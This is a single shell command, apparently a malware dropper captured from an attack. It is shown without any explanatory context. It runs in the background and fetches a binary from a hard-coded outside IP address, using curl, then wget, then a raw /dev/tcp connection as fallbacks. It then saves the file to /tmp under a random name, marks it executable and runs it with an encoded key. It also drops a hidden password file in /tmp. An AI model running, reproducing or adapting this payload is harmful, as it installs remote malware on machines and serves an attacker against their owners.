nohup $SHELL -c "curl http://8.217.225.94:60126/linux -o /tmp/ijmwlWksXF; if [ ! -f /tmp/ijmwlWksXF ]; then wget http://8.217.225.94:60126/linux -O /tmp/ijmwlWksXF; fi; if [ ! -f /tmp/ijmwlWksXF ]; then exec 6<>/dev/tcp/8.217.225.94/60126 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/ijmwlWksXF && chmod +x /tmp/ijmwlWksXF && /tmp/ijmwlWksXF rSXVHbXdP9EzzTrGqxzSP9bQNNAWpcI82i7SOser[...]; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/ijmwlWksXF && /tmp/ijmwlWksXF rSXVHbXdP9EzzTrGqxzSP9bQNNAWpcI82i7SOser[...]" &#UPX!